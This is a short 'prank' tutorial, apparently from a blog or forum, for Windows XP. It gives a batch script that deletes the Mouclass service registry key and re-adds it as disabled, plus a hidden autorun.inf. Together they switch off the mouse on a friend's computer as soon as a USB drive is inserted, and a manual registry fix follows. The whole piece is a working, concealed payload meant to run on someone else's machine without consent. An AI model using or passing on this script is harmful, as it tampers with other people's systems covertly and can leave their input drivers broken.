Disable Your Friend’s Mouse Whenever USB Disk Is Inserted. . . .

NOTE- It works in Windows xp and previous versions .

Open a notepad file-

Just copy and paste the below code in your notepad file. . .

...@echo off

set key="HKEY_LOCAL_MACHINE\system​\CurrentControlSet\Services\Mo​uclass"

reg delete %key%

reg add %key% /v Start /t REG_DWORD /d 4

Save the file as .bat extension. . .

Then create the other notepad file and
Just copy and paste the below code in your notepad file. . .

[autorun]

Open=filename.bat

Action=Mouse Disable

U have to put the name .bat which is already done by u. .

Save the file as autorun.inf

Now just copy these two files and paste it in your pen drive. . .
And hide these both file . . .
Whenever your friend insert your pen drive in his computer
These both files will run automatically. . .and then the mouse will be disabled.

For enabling the Mouse. .
Go to run
Type regedit
Then go to
HKEY_LOCAL_MACHINE\system\Curr​entControlSet\Services\Mouclas​s
Click on start
And modify its value 1 instead of 4. . .